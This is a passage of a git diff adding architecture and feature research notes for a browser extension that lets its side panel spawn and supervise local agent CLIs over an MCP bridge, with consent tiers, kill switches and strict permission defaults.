the only intentionally long-lived process (index.ts:266-294, explicit SIGTERM/SIGINT shutdown :284-293). +2. **Consent and security posture.** Spawning is RCE-adjacent. Binding it to a process the user explicitly started gives a clean consent story and a single holder for the shared secret and consent tiers. Arbitrary stdio hubs launched by third-party clients must never gain spawn authority implicitly. +3. **Hub-exit promotion safety.** The daemon's bridge already reconnects/promotes automatically (`_attemptPromotion` :756, `_scheduleRelayReconnect` :785). Every reconnect re-sends `relay:hello`, so the additive `capabilities:['agent-spawn']` field re-advertises the supervisor to each new hub. Children are attached to the daemon process; hub churn never touches them — only frame routing pauses briefly (extension retries `ext:request` on disconnect-class rejections; extend `BRIDGE_DISCONNECT_MESSAGES` semantics, bridge.ts:34-38, if new reject sites are added — the comment there makes this mandatory). +4. **Matches the honest-offline constraint.** The extension cannot wake processes (no nativeMessaging). "Supervisor present = serve daemon running (or a hub that opted in)" is exactly the state `doctor` (index.ts:334-348) can diagnose and the side panel can message. + +Concrete hub routing rule (new code in bridge.ts): on `ext:request` from the extension — if this process registered a local SpawnSupervisor, handle; else forward to the first relay whose hello advertised `agent-spawn`; else reply `ext:response {error:'agent_provider_offline'}`. This stays inside the milestone's "reverse channel over the existing ws://7225 bridge" decision and is byte-additive on the wire (INV-01: new frame types + optional hello fields only; all existing `MCPMessageType` values untouched, types.ts:8-48). + +Rejected alternatives: +- **Hub-owned spawning:** simplest routing (frames already land at bridge.ts:515) but fails lifetime + consent as above. +- **Any-process spawning:** ambiguous ownership; duplicate spawns on retries; kill-switch routing becomes a search problem. +- **Separate supervisor port (e.g. 7226):** cleanest isolation, zero forwarding — but contradicts the milestone's existing-bridge decision and adds a second listener to the doctor/firewall surface. Keep as documented fallback if hub-forwarding proves fragile during implementation. + +Edge case to handle explicitly: two `serve` daemons (user runs `serve` twice). First-advertised-supervisor-wins at the hub, with a diagnostics note; do not fan out to multiple supervisors. + +--- + +## 6. Delegation Coexistence With the Extension's Agent Loop (question f) + +1. **Execution modes.** `delegated` becomes the fifth `EXECUTION_MODES` entry (engine-config.js:63-108). Delegated tasks never enter `runAgentLoop` (agent-loop.js:1180) — background keeps a session-lite record for UI state; the reasoning loop runs in the spawned CLI, which drives the browser through the same MCP tool surface (INV-02 parity holds because no new tool stack exists). `loadSessionConfig('delegated')` (engine-config.js:126) supplies wall-clock watchdog + event-silence timeout instead of iteration caps. +2. **Tab ownership.** The spawned CLI's stdio server registers its own agent (Flow 2) and binds tabs on first action (agent-registry.js:492-500). Two guards: (a) the side panel's `ensureLegacySidepanelAgent` pre-bind (sidepanel.js:1503) must NOT run for delegated sends, or the target tab is owned by `legacy:sidepanel` and the CLI's agent hits `TAB_NOT_OWNED` — pass the tab as a hint in the delegate payload and let the CLI's agent own it; (b) the spawned agent counts against the concurrency cap (`AGENT_CAP_REACHED`, dispatcher :1947-1954) — surface as a typed side-panel error. +3. **Kill-switch paths (two; both required).** + - UI stop: side panel -> `stopDelegatedTask` -> `ext:request delegate.cancel` -> supervisor SIGTERM child. Distinct from BYOK stop (`handleStopAutomation` background.js:9559), which stays untouched for non-delegated sessions. + - Process-death fallback: child or daemon dies -> child's WS closes -> existing `stageReleaseByConnectionId` grace release (mcp-bridge-client.js:185-186; registry staged releases :286) frees tabs/overlays; the supervisor's exit-watch emits a terminal `ext:event` so the panel never hangs on "running". If the daemon itself dies, the extension's pending `ext:request` map times out -> offline state. +4. **Simultaneity.** BYOK autopilot on tab A + delegated CLI on tab B coexist — exactly the v0.9.60 multi-agent ownership model. The only shared per-process resource is each MCP server's mutation queue (queue.ts), which serializes only that client's mutations. +5. **UI feedback.** Delegated progress arrives via `ext:event` -> runtime messages, not loop `statusUpdate`s. Side panel adds a renderer branch reusing existing status components (`addStatusMessage` pattern, sidepanel.js:1525). +6. **Test tripwires.** Every extension file touched (background.js, engine-config.js, sidepanel.js, mcp-bridge-client.js, dispatcher, agent-registry.js, onboarding.js, options.js) sits under source-pin tests (token counts/substrings). Run the full suite from the first commit of every phase. + +--- + +## 7. Recommended Build Order (question d) + +Phases continue from 57. Dependency chain: identity capture -> providers UI -> delegation MVP -> multi-adapter. + +| Step | Scope | Depends on | Why this position | +|------|-------|-----------|-------------------| +| 1. Identity capture (copy-clicks + clientInfo) | onboarding persist; `getClientVersion` capture; `agent:register` payload `{clientInfo}`; `stampClientInfo`; `fsbAgentProviders` schema + connected rollup; `getMcpClients` runtime message | nothing | Pure additive data layer on both sides of the wire; unblocks everything later; closes the v0.9.36 deferred "trusted MCP client identity from handshake metadata" item | +| 2. Installed-client detection + inventory | reuse `resolvePlatformTarget`; NEW inventory delivery server->extension (additive `system:client-inventory` request on extension-connect, or piggyback on register — decide with payload measurements); claude-code binary detection | 1 (schema exists) | Server-side disk access only; completes connected > installed > copy-clicked ground truth | +| 3. Providers panel | rename :146; provider-kind model; agent rows + status; key-field hiding; recommended defaulting; BYOK guard | 1, 2 (needs real data) | Visible value before the risky spawn work; establishes the selection the delegation UI reads | +| 4. Reverse-request channel + security | `ext:request/response/event`; hub routing + supervisor advertisement; extension pending-map; shared secret + origin gating + consent tiers; topology tests alongside `tests/mcp-bridge-topology.test.js` | independent, but sequence after 3 | Security-critical seam isolated in its own phase with its own tests; INV-01 additive proof lives here | +| 5. Delegation MVP (Claude Code) | SpawnSupervisor in serve daemon; `claude-code` adapter (built AS an adapter); `delegated` EXECUTION_MODES entry; side-panel send/progress/stop; offline->doctor UX; SW-eviction re-association | 3 (provider selection), 4 (channel) | The integration payoff; the child CLI reuses the entire existing agent pipeline unchanged | +| 6. Multi-agent adapters | registry hardening; OpenCode -> Codex -> Gemini adapters; `caps()`-gated task-mode vs chat-mode (`--resume`) | 5 | Contract proven by one real implementation before generalizing | + +Parallelization: 1 and 2 can interleave; 4 can start while 3 is in review. 5 must not start before 4's security tests are green. + +--- + +## 8. Anti-Patterns (repo-specific) + +### Anti-Pattern 1: Prompt-stuffing the spawned CLI +**What people do:** encode task + tool guidance into one giant `-p` prompt. +**Why it's wrong:** brittle, unauditable; the milestone already chose a shipped `fsb` agent definition + hermetic `--strict-mcp-config`. +**Do this instead:** adapter `buildSpawn` emits argv referencing the shipped agent definition; the task is the only variable input. + +### Anti-Pattern 2: Reviving the sunset background-agents surface +**What people do:** resurrect `listAgents`/`getAgentStats` (commented at options.js:5767/6049, sidepanel.js:3651) or `extension/agents/*` for "agents in the panel". +**Why it's wrong:** INV-05 freezes those modules; the new surface is MCP-client identity, a different concept. +**Do this instead:** new `getMcpClients` message backed by `fsbAgentRegistryInstance` + `fsbAgentProviders`. + +### Anti-Pattern 3: Making `modelProvider` polymorphic +**What people do:** store `modelProvider:'claude-code'` and branch everywhere. +**Why it's wrong:** `universal-provider.js` (:196/:550), engine reads, and MCP diagnostics (`status` prints `modelProvider`, index.ts:152-156) all assume the 7 API values; an agent value leaks into request builders. +**Do this instead:** separate `providerKind` + `agentProviderId`; `modelProvider` stays the last-used API provider. + +### Anti-Pattern 4: Letting "whoever is hub" spawn +**Why it's wrong:** Section 5 — child lifetime tied to an unrelated client session; consent ambiguity; kill-switch routing breaks across hub-exit promotion. +**Do this instead:** serve-daemon-owned SpawnSupervisor + capability-advertised routing. + +### Anti-Pattern 5: Editing bridge wire contracts in place +**Why it's wrong:** INV-01 — every existing `MCPMessageType` (types.ts:8-48) and tool schema is byte-stable; register consumers tolerate only additive optional fields (see the defensive pattern in agent-scope.ts:77-101). +**Do this instead:** new frame types + optional payload fields only; update `BRIDGE_DISCONNECT_MESSAGES` (bridge.ts:34-38) for any new reject-on-disconnect site — its comment makes this mandatory. + +--- + +## 9. Integration Points + +### External Services + +| Service | Integration Pattern | Notes | +|---------|---------------------|-------| +| Agent CLIs (claude, opencode, codex, gemini) | `spawn` with adapter-built argv; stream-json stdout; SIGTERM kill | Verify flags per CLI in phase research; never `shell:true` | +| MCP SDK ^1.29.0 | `server.server.getClientVersion()` / `oninitialized` | Functional in v1.x; deprecated in SDK v2 in favor of per-request `ctx.mcpReq.envelope` — note for any future SDK major upgrade (Context7, HIGH) | +| Client config files on disk | `resolvePlatformTarget` existsSync detection (platforms.ts:437-490) | cli-mode (`claude-code`) and instructions-mode entries need per-adapter detection | + +### Internal Boundaries + +| Boundary | Communication | Notes | +|----------|---------------|-------| +| side panel <-> background | runtime messages (`startAutomation` :1506; NEW `startDelegatedTask`/`stopDelegatedTask`/`getMcpClients`) | keep `startAutomation` payload backward-compatible | +| background <-> hub | ws://7225; today server-initiated only; NEW `ext:*` extension-initiated frames | origin gate bridge.ts:297-309 + NEW shared secret for `ext:*` | +| hub <-> supervisor relay | `relay:hello` capability advertisement (additive) + `ext:*` forwarding | mirrors existing `messageOrigin` response routing bridge.ts:538-571 | +| supervisor <-> child CLI | argv/agent-definition in; stream-json out | watchdog + exit-code mapping to terminal `ext:event` | +| child's MCP server <-> extension | unchanged existing pipeline (register/tools/ownership) | the deliberate reuse core of the milestone | + +--- + +## Sources + +- Direct source reads (this repo; all `file:line` citations above): `mcp/src/{bridge,agent-scope,agent-bridge,runtime,server,http,index,types,platforms,install}.ts`, `mcp/src/tools/autopilot.ts`, `mcp/src/diagnostics.ts`; `extension/ws/{mcp-bridge-client,mcp-tool-dispatcher}.js`; `extension/utils/agent-registry.js`; `extension/ui/{onboarding,options,sidepanel}.js`, `extension/ui/control_panel.html`; `extension/ai/engine-config.js`; `extension/background.js` — HIGH +- graphify graph queries (symbol locations: `handleAgentRegisterRoute` dispatcher:1935, `handleStartAutomation` background:8912, `handleStopAutomation` background:9559, `createRuntime` runtime:31, `PLATFORMS` platforms:77; topology tests `tests/mcp-bridge-topology.test.js` incl. `runHubExitPromotion` :242 and `runRejectsUntrustedBrowserOrigin` :215) — HIGH +- Context7 `/modelcontextprotocol/typescript-sdk` — server-side `getClientVersion()` exists and is functional in v1.x; deprecated in the v2 migration; 2026-era transports return `undefined` and move identity to `ctx.mcpReq.envelope` — HIGH for the pinned `^1.29.0` (`mcp/package.json:54`) +- `.planning/PROJECT.md` v0.9.91 milestone section (INV-01, no-nativeMessaging constraint, security tiers, phases from 57) — HIGH +- Claude Code headless flag surface (`-p`, `--output-format stream-json`, `--strict-mcp-config`, agent definitions): training data + milestone context only — **MEDIUM-LOW; verify exact flags against the installed CLI during the Delegation MVP phase** + +### Open Questions for Phase Research + +1. Exact current `claude` CLI headless flags, permission-mode defaults, and stream-json event schema (verify against the installed CLI at implementation time). +2. Inventory delivery trigger: on-extension-connect push vs piggyback on `agent:register` vs on-demand `ext:request clients.detect` — decide in Step 2 with payload-size measurements. +3. Shared-secret provisioning for `ext:*` frames (the extension has no pre-shared channel with the daemon other than the bridge itself): TOFU pairing on first `serve` connect vs a user-visible pairing code in the control panel — decide in Step 4 security research. +4. Whether the Providers panel should also surface HTTP-session clients from `serve` mode distinctly from stdio clients (both produce clientInfo; UX question only). + +--- +*Architecture research for: FSB v0.9.91 MCP Clients as Providers* +*Researched: 2026-07-10* diff --git a/.planning/milestones/v0.9.91-research/FEATURES.md b/.planning/milestones/v0.9.91-research/FEATURES.md new file mode 100644 index 000000000..6d00e341d --- /dev/null +++ b/.planning/milestones/v0.9.91-research/FEATURES.md @@ -0,0 +1,195 @@ +# Feature Research + +**Domain:** Local agent CLIs / agent subscriptions as first-class providers in another surface (browser side panel), mixed provider pickers, delegated-run streaming UX, browser-control consent, agent detection +**Milestone:** v0.9.91 MCP Clients as Providers +**Researched:** 2026-07-10 +**Confidence:** HIGH (core UX conventions verified against official docs: Zed, Cline, Claude Code, ACP, Apple, GitHub, Google, OpenAI; individual items flagged where lower) + +> Supersedes the prior v1.2.0 FEATURES.md (Showcase i18n Completeness research, archived milestone -- unrelated domain). This file is the active v0.9.91 MCP Clients as Providers research. + +## How Comparable Products Do This (survey) + +The "front-end someone else's agent" pattern now exists in four distinct shapes, all shipping as of mid-2026: + +1. **Same-dropdown provider pattern** — Cline and Roo Code list "Claude Code" as an entry in the *same* API Provider dropdown as Anthropic/OpenAI/etc. Selecting it swaps the API-key field for a CLI-path field ("usually `claude` if in PATH") and the tool spawns a `claude` process per message, billing against the user's Pro/Max subscription — "Max subscribers will see $0.00 costs" ([Cline docs](https://docs.cline.bot/provider-config/claude-code), [Cline blog](https://cline.bot/blog/how-to-use-your-claude-max-subscription-in-cline), [Roo Code PR #4864](https://github.com/RooCodeInc/Roo-Code/pull/4864)). Cline later added "Bring your ChatGPT subscription" via sanctioned Codex OAuth ([Cline blog](https://cline.ghost.io/introducing-openai-codex-oauth/)). +2. **Separate "External Agents" section pattern** — Zed keeps ACP agents (Claude Agent, Gemini CLI, Codex, Copilot) in the Agent Panel's new-thread menu, distinct from Zed-hosted/API-key model providers. Auth is agent-owned (`/login` inside the thread); "An Anthropic API key configured for Zed Agent does not automatically configure Claude Agent" ([Zed external-agents docs](https://zed.dev/docs/ai/external-agents), [Zed ACP blog](https://zed.dev/blog/bring-your-own-agent-to-zed)). +3. **Account-sign-in provider pattern** — Xcode 26 mixes built-in ChatGPT/Claude *account* providers (Sign In button, no key) with add-your-own API-key providers; agentic coding only works with the preconfigured account providers ([Apple docs](https://developer.apple.com/documentation/xcode/setting-up-coding-intelligence), [9to5Mac 2025-08-28](https://9to5mac.com/2025/08/28/new-xcode-beta-now-available-with-gpt-5-and-claude-support/)). +4. **Hosted pick-your-agent pattern** — GitHub Agent HQ ("mission control") lets users pick Copilot, Claude, or Codex per task, metered as one premium request per agent session ([GitHub blog](https://github.blog/news-insights/company-news/pick-your-agent-use-claude-and-codex-on-agent-hq/)). + +Adjacent delegation front-ends: Conductor (Mac app; "sign in or confirm your machine already has a Claude Code or Codex session"; bundles its own CLI copies; "uses Claude Code however you're already logged in" — [docs](https://docs.conductor.build/)), Happy (mobile/web mirror of Claude Code/Codex with realtime streaming + push-notification permission approvals — [happy.engineering](https://happy.engineering/docs/features/)), Vibe Kanban (10+ executors behind one profile abstraction; auto-scans existing `.claude` dirs — [docs](https://vibekanban.com/docs/configuration-customisation/agent-configurations)), OpenCode (client/server split, `opencode serve` + remote clients — [docs](https://opencode.ai/docs/server/)). + +Browser-control consent baselines: Claude in Chrome, ChatGPT Atlas agent mode, Gemini-in-Chrome auto-browse (details under Table Stakes / consent). + +**FSB's structural difference:** every comparable front-ends an agent for *coding in a repo*. FSB front-ends the agent for *driving the user's live browser*, and the spawned agent loops back through FSB's own MCP tools — the delegation target and the visual surface are the same product. No surveyed product does side-panel-initiated spawn of a local CLI that then controls the user's real logged-in browser. + +## Feature Landscape + +### Table Stakes (Users Expect These) + +| Feature | Why Expected | Complexity | Notes | +|---------|--------------|------------|-------| +| Agent providers listed in the same picker as API providers, with kind-specific fields (agent kind hides API-key field) | Cline/Roo set the convention: "Claude Code" sits in the API Provider dropdown; key field disappears, CLI-path field appears | LOW | FSB: rename "API Configuration" → "Providers" (`control_panel.html:146`), add `kind: api\|agent`. Existing 7 BYOK providers unchanged (INV-03) | +| "Uses your existing subscription/login — no API key needed" labeling on agent providers | Every comparable states this explicitly (Cline: "uses your Claude subscription limits instead of API token billing"; Xcode: account sign-in rows) | LOW | Copy only. Also state the inverse: FSB's Anthropic BYOK key does NOT make Claude Code work (Zed documents this exact confusion) | +| Installed/not-installed state per agent in the picker + detection from disk | Conductor gates onboarding on an existing Claude Code/Codex session; Vibe Kanban scans `.claude` dirs; Smithery CLI lists clients from config paths | MEDIUM | FSB already has the 21-client `platforms.ts` registry with per-OS config paths. Detection must run daemon-side (extension can't read disk); picker must degrade gracefully when daemon offline (show "unknown", not "not installed") | +| Live streaming progress with per-tool-call visibility | Zed shows tool-call status cards; Gemini-in-Chrome "details each step in a work log"; Atlas narrates actions; Happy streams responses in real time | HIGH | Map `claude -p --output-format stream-json --include-partial-messages` events (`system/init`, `stream_event` deltas, tool_use, `system/api_retry`, `result`) into a side-panel feed. Requires the new reverse-request channel over ws://7225 | +| Stop/kill button that actually interrupts the run | Universal: Zed stop button, Gemini "stop it and take over at any time", Atlas pause/take control, OpenCode remote "stop a running action", ACP `session/cancel` | MEDIUM | Kill spawned process tree + release the delegated agent's owned tabs (v0.9.60 ownership) + clear the visual session | +| Explicit offline/unavailable state with a recovery path | Claude Code ships an error table ("Browser extension is not connected" → fix steps) and a `/chrome` reconnect action; Zed exposes ACP logs for failed agent starts | MEDIUM | FSB constraint: no nativeMessaging → daemon can't be woken. Honest "agent offline → run `fsb-mcp-server doctor`" card is the floor; doctor already classifies layers | +| Consent gate before an agent can control the browser, with ask-vs-auto modes | Claude in Chrome: "Ask before acting" vs "Act without asking" + site-level always-allow + upfront plan listing sites; Atlas pauses on sensitive actions and forces watch mode on financial sites; Gemini auto-browse pauses before purchases/messages with "take over task" | MEDIUM-HIGH | Spawn channel is RCE-adjacent: first-enable opt-in (explicit toggle + warning), plus a per-run or per-session confirmation tier. Spawned CLI runs with strict permission defaults + `--strict-mcp-config` (FSB tools only) — never `--dangerously-skip-permissions` | +| Usage/cost reporting appropriate to provider kind | Cline shows $0.00 for Max-subscription runs; Claude Code `result` event carries `total_cost_usd` + per-model breakdown; GitHub meters premium requests per agent session; OpenCode TUI shows tokens+cost top-right | LOW-MEDIUM | Agent kind: show tokens/turns/duration + "included in your subscription", not fabricated dollars. API kind keeps the existing cost tracker. `result` event feeds the existing MCP request log | +| Follow-up messages keep context (thread ≈ session) | Zed threads map to agent sessions (ACP `session/load`); Codex `resume --last` / `codex exec resume`; Gemini `--resume` + `/chat` checkpoints; Claude Code `--continue`/`--resume ` (scoped to cwd) | MEDIUM | MVP can use Cline's stateless pattern (spawn per message, replay conversation) OR `--resume`; either way the side-panel thread must not amnesia between turns | +| Visible in-browser activity while the delegated agent works | All three browser agents keep actions visible; Claude Code --chrome runs "in a visible Chrome window in real time" and pauses at login/CAPTCHA for the human | LOW | Already built: orange glow, visual session badges, implicit visual-session contract (v0.9.36/v0.9.62). Ensure the spawned CLI's client identity maps to an allowlisted badge | + +### Differentiators (Competitive Advantage) + +| Feature | Value Proposition | Complexity | Notes | +|---------|-------------------|------------|-------| +| Ground-truth recommended default (connected > installed > copy-clicked) | Nobody recommends from evidence. Cline preselects its own paid gateway; Xcode just preconfigures accounts. FSB can badge "Recommended — Claude Code connected 2m ago" | MEDIUM | Needs the identity-capture trio: onboarding copy-click persist (client id already in `onboarding.js` handler), MCP `initialize` clientInfo capture (currently discarded), disk detection. Recommend, never auto-switch | +| Connected-agent ground truth from the MCP handshake (clientInfo through `agent:register`) | Comparables detect installs at best; none show *live* connections. A control-panel "Connected agents" roster with last-seen is unique observability | LOW-MEDIUM | clientInfo has zero references in `mcp/` today; `agent:register` payload is empty `{}`. Additive fields only (INV-01). Completes the v0.9.36 deferred item | +| Closed-loop delegation: side panel → spawn agent CLI → agent drives the same browser via FSB MCP tools | Inverts Claude Code --chrome (CLI-initiated) into panel-initiated. User asks in the browser; a subscription-grade agent does the work *in that browser* with FSB's visual feedback and tab ownership | HIGH | The spawned CLI connects back as a normal FSB agent (agent id, ownership token, cap 8). Ship a first-party `fsb` agent definition via `--agents` instead of prompt stuffing; hermetic `--strict-mcp-config` | +| Multi-agent adapter contract (detect / build / events / kill / caps) covering Claude Code → OpenCode → Codex → Gemini | Vibe Kanban proves 10+ executors behind one profile abstraction is tractable and valued; from a browser surface it's unowned territory | HIGH | Per-CLI interfaces differ: Claude stream-json; `codex exec` (+ `resume`/`--last`, JSONL sessions in `~/.codex/sessions/`); OpenCode is an HTTP server (OpenAPI), not a spawn; Gemini `--resume`. Caps matrix: task-mode vs chat-mode per adapter | +| Task-mode vs chat-mode (`--resume`) capability flags per adapter | Matches how users think: quick task vs ongoing conversation. Zed/ACP gate this with the `loadSession` capability; FSB can badge "supports follow-ups" | MEDIUM | Claude Code: `--resume ` scoped to project dir/worktree — daemon must pin cwd per thread. Codex: `exec resume`. Gemini: `--resume`. OpenCode: server sessions | +| Cross-surface session continuity (side-panel thread resumable in the terminal) | Because the delegated run IS a genuine Claude Code session on disk, `claude --resume ` continues it in the terminal. Happy's desktop↔mobile mirroring proves the appeal | LOW | Just surface the `session_id` from `system/init` in the thread UI ("Continue in terminal: claude --resume …"). Zed offers the reverse (import external-agent threads) | +| Doctor-integrated failure UX | Zed's answer to a broken agent is raw ACP logs; FSB's is a layer-classifying `doctor` with guided recovery — friendlier by design | LOW-MEDIUM | Extend doctor with delegation checks: agent binary found, version, auth state, spawn-channel secret. Deep-link from the side-panel offline card | +| Per-run plan/scope preview in the consent prompt | Claude in Chrome reviews an upfront plan with the sites it will touch; applying that to "spawn X locally, it may control tabs A/B" beats a bare Allow/Deny | MEDIUM | Tier it: first enable (scary, explicit) → per-run summary (task + agent + scope) → in-run high-risk confirmations already governed by FSB's existing consent surfaces | +| Kill switch that also reclaims tabs and shows what the agent still owns | Comparables kill the process; none reconcile browser state afterward. FSB's tab ownership makes "agent stopped, 2 tabs released" reportable | MEDIUM | Builds directly on v0.9.60 ownership + reconnect-grace machinery | + +### Anti-Features (Commonly Requested, Often Problematic) + +| Feature | Why Requested | Why Problematic | Alternative | +|---------|---------------|-----------------|-------------| +| Reuse subscription OAuth tokens / spoof Claude Code headers / use Agent SDK with consumer OAuth | "Just call the API with my Max token — no spawn needed" | Banned. Anthropic blocked it Jan 9 2026 (silent), ToS-clarified Feb 18-20 2026, fully enforced Apr 4 2026; tools get "This credential is only authorized for use with Claude Code". OpenClaw/OpenCode/NanoClaw all hit it ([The Register](https://www.theregister.com/2026/02/20/anthropic_clarifies_ban_third_party_claude_access/), [claude-code#28091](https://github.com/anthropics/claude-code/issues/28091)) | Spawn the genuine `claude` binary under the user's own login (Cline/Roo/Zed/Conductor all still ship this; "running the official Claude Code binary… you are fine"). Keep BYOK API kind as a first-class fallback. Note: OpenAI *sanctions* ChatGPT-subscription OAuth for third parties (Cline Codex OAuth) — auth policy is per-vendor, so encode it in the adapter | +| Bundle or silently auto-install agent CLIs | "One-click setup" (Conductor bundles Claude Code + Codex) | Conductor is a signed native Mac app; FSB is an MV3 extension + npm daemon. Silent installs from a browser-adjacent surface are a security smell, create version drift, and can't happen extension-side at all | Detect from disk + show the copy-able install command (onboarding already has per-client commands) + doctor verification | +| PTY/TUI screen-scraping of the agent's interactive UI | "The TUI already shows everything — just mirror it" | Brittle (ANSI parsing, resize, version drift), no structured tool-call/cost/session data, no clean cancel semantics | Structured headless interfaces only: `claude -p` stream-json, `codex exec` (JSONL sessions), `opencode serve` HTTP API, `gemini` non-interactive | +| Default the spawned agent to `--dangerously-skip-permissions` (or equivalent) for smooth demos | "Permission prompts interrupt the magic" | RCE-adjacent channel + agent with Bash access + browser control = worst-case blast radius. Claude Code's own plan mode auto-allows only read-only browser calls and prompts on state changes | Strict defaults: `--allowedTools`/permission-mode allowlist scoped to FSB MCP tools, `--strict-mcp-config`, no filesystem/Bash beyond what delegation needs; escalation prompts surface in the side panel (Happy's remote Allow/Deny proves this works) | +| General remote-access layer (LAN/tunnel/mobile) for delegation | OpenCode-remote ecosystem (Tailscale/ngrok clients) shows real demand | Scope explosion; every remote hop widens the RCE surface FSB just gated to extension-origin + shared secret on localhost:7225 | Stay localhost-only this milestone; FSB's dashboard-remote mode remains the separate, existing remote surface | +| Show dollar costs for subscription-backed runs | "Cost tracker already exists — reuse it" | Fabricated numbers (user pays $0 marginal); Cline deliberately shows $0.00 for Max runs. Misleads users into thinking delegation is expensive | Show tokens/turns/duration + "included in your subscription"; keep `MODEL_PRICING` estimates for telemetry aggregates only, labeled as estimates | +| Force/funnel users to agent providers (degrade BYOK) | "Subscriptions are the future; simplify to one path" | Cursor's BYOK restrictions (agent features require their plan even with your key) generate durable resentment; FSB's INV-03 promises provider parity | Both kinds first-class; recommendation badge only. BYOK autopilot remains the zero-daemon path | +| Auto-switch the selected provider when a "better" agent connects | "Ground truth says Claude Code is here — use it" | Surprise provider swaps mid-workflow break trust and mask cost/behavior changes; no comparable does this | Recommend with a badge + one-tap switch; persist explicit user choice as sticky | + +## UX Convention Notes (per research question) + +**Provider picker mixing kinds.** Two proven layouts: same-dropdown-with-morphing-fields (Cline/Roo — lowest friction, fits FSB's existing single panel) and separate-section (Zed External Agents; Xcode accounts vs API providers). Either way: agent entries never show a key field; they show install/auth state instead. "Recommended" defaults exist everywhere but are vendor-motivated (Cline preselects its own gateway; free-tier suggestions for beginners) — an evidence-based badge is FSB's opening. Unavailable states today are weak across the board (Cline documents no missing-CLI error UX; Zed points at raw logs) — treat "installed but unavailable", "not installed", and "daemon offline" as three distinct picker states. + +**Streaming-progress conventions.** The converged grammar: narrated step feed + collapsible tool-call cards with status + prominent stop + final result card with usage. Zed adds "follow the agent" (jump to what it touches — FSB's equivalent is the already-visible glow/badge on the live tab) and review-before-apply (not applicable: browser actions aren't diffs, which is exactly why consent must be *pre*-action). Claude Code's stream gives everything needed: `system/init` (session_id, model, tools — render "Claude Code session started"), tool_use blocks (feed rows), `system/api_retry` (transient-state row with typed error categories), `result` (`total_cost_usd`, `num_turns`, duration → summary card). + +**Consent for browser control.** Three-layer convention across Claude in Chrome / Atlas / Gemini auto-browse: (1) mode choice (ask-before-acting vs act-with-guardrails), (2) scope disclosure upfront (plan with sites), (3) hard confirmations for sensitive actions + categorical blocks (financial) + pause-for-human at login/CAPTCHA. FSB must add a layer none of them need: consent to *spawn a local process* (first-enable toggle + per-run confirm), because the delegation channel, not the browsing, is the new risk. + +**Session continuity.** Users now expect thread↔session mapping (Zed/ACP `session/load`; Codex/Gemini/Claude resume). Stateless replay-per-message (Cline) is acceptable for task-mode MVP but wastes subscription tokens and loses agent-side context (todos, plan state); `--resume` chat-mode is the expected v1.x follow-up. Claude Code resume is cwd-scoped — the daemon must keep a stable working directory per thread. + +**Detection UX.** Convention is confirm-not-configure: Conductor "confirm your machine already has a Claude Code session"; Vibe Kanban silently reuses `.claude` config; Claude Code's Chrome flow auto-opens a connect tab once on first install, then never again (v2.1.199 behavior). So: "We found Claude Code installed — connect it?" with one action, remembered forever, re-verifiable via doctor. Never nag on every panel open. + +## Feature Dependencies + +``` +Providers panel rename + kind field (api|agent) + └──requires──> existing control panel API Configuration section (control_panel.html:146) + +Recommended-default badge + └──requires──> Identity capture trio: + onboarding copy-click persist (extension/ui/onboarding.js handler has client id) + MCP initialize clientInfo capture ──> agent:register payload (empty {} today; additive, INV-01) + disk detection (platforms.ts 21-client registry, daemon-side) + +Side-panel delegation (Claude Code MVP) + └──requires──> reverse-request channel over ws://localhost:7225 (extension-origin gating + shared secret) + └──requires──> consent tiers (first-enable + per-run) + └──requires──> Claude Code adapter (spawn claude -p, stream-json, strict permissions, --strict-mcp-config, fsb agent definition) + └──requires──> tab ownership + agent ids + cap 8 (v0.9.60, exists) + └──requires──> visual session badges + client allowlist (v0.9.36/v0.9.62, exists) + └──requires──> fifth EXECUTION_MODES entry "delegated" (extension/ai/engine-config.js) + +Streaming progress feed + kill switch ──requires──> delegation channel +Usage/cost summary card ──requires──> stream-json result event; ──enhances──> existing MCP request logging + cost tracker +Offline → doctor handoff ──requires──> doctor (exists); ──enhances──> delegation (graceful degradation) +Chat-mode (--resume) ──requires──> task-mode adapter + per-thread cwd pinning +Multi-agent adapters (OpenCode/Codex/Gemini) ──requires──> AgentProviderAdapter contract proven on Claude Code +Cross-surface resume hint ──requires──> session_id surfaced from system/init + +Auto-switch on detection ──conflicts──> sticky explicit provider choice +Subscription-token proxying ──conflicts──> Anthropic ToS (spawn genuine binary instead) +``` + +### Dependency Notes + +- **Delegation requires a live daemon:** the extension has no nativeMessaging permission and cannot wake any process — agent-kind providers are only *runnable* when `fsb-mcp-server serve` (or an open agent session) is up. This makes the offline state a first-class picker/thread state, not an error path. +- **Identity capture is independent of delegation:** the trio (clicks/clientInfo/disk) ships value on its own (control-panel roster, recommended badge) and can land before the spawn channel — a natural phase boundary. +- **Adapter contract before adapter breadth:** Codex/OpenCode/Gemini adapters are cheap only if the Claude Code MVP fixes the contract (detect/build/events/kill/caps) rather than hardcoding Claude shapes. OpenCode will stress it usefully (HTTP server, not spawn). +- **Test-suite tripwires:** extension-side wiring (onboarding persist, providers panel, side-panel feed) trips source-pin tests (token counts/substrings) — run the suite from the first commit. + +## MVP Definition + +### Launch With (v1 — this milestone) + +- [ ] Providers panel rename + `api`/`agent` kinds; agent kind hides key field, shows install/auth/connection state — the naming and framing everything else hangs on +- [ ] Identity capture trio (copy-click persist, clientInfo capture through `agent:register`, disk detection) + control-panel connected/installed roster — ground truth +- [ ] Recommended-default badge from ground truth (connected > installed > copy-clicked); never auto-switch +- [ ] Claude Code delegation MVP: consent-gated spawn over ws://7225, `claude -p` stream-json, strict permissions + `--strict-mcp-config` + shipped `fsb` agent definition, spawned CLI connects back with its own agent id/tab ownership +- [ ] Live progress feed (init/tool/retry/result events) + kill switch that releases owned tabs +- [ ] Honest offline state → doctor handoff +- [ ] Usage summary card per delegated run (tokens/turns/duration, "included in your subscription") + +### Add After Validation (v1.x) + +- [ ] Chat-mode continuity via `--resume` + per-thread cwd pinning — add once task-mode proves the channel; trigger: users sending follow-ups that lose context +- [ ] OpenCode → Codex → Gemini adapters behind the proven contract; trigger: adapter contract stable through one release +- [ ] Cross-surface resume hint (`claude --resume `) — trivial once session ids are surfaced +- [ ] Doctor delegation checks (binary found/version/auth/spawn-secret) + +### Future Consideration (v2+) + +- [ ] Native-messaging host to wake the daemon — removes the biggest UX cliff but adds an installer + attack surface; explicitly deferred in milestone context +- [ ] ACP-based adapter unification (speak ACP to `claude-code-acp`/Gemini instead of per-CLI formats) — watch ACP adoption; would collapse adapter maintenance +- [ ] Remote delegation surfaces (mobile approvals à la Happy) — only after the localhost security posture has soak time + +## Feature Prioritization Matrix + +| Feature | User Value | Implementation Cost | Priority | +|---------|------------|---------------------|----------| +| Providers panel + kinds | HIGH | LOW | P1 | +| Identity capture trio + roster | 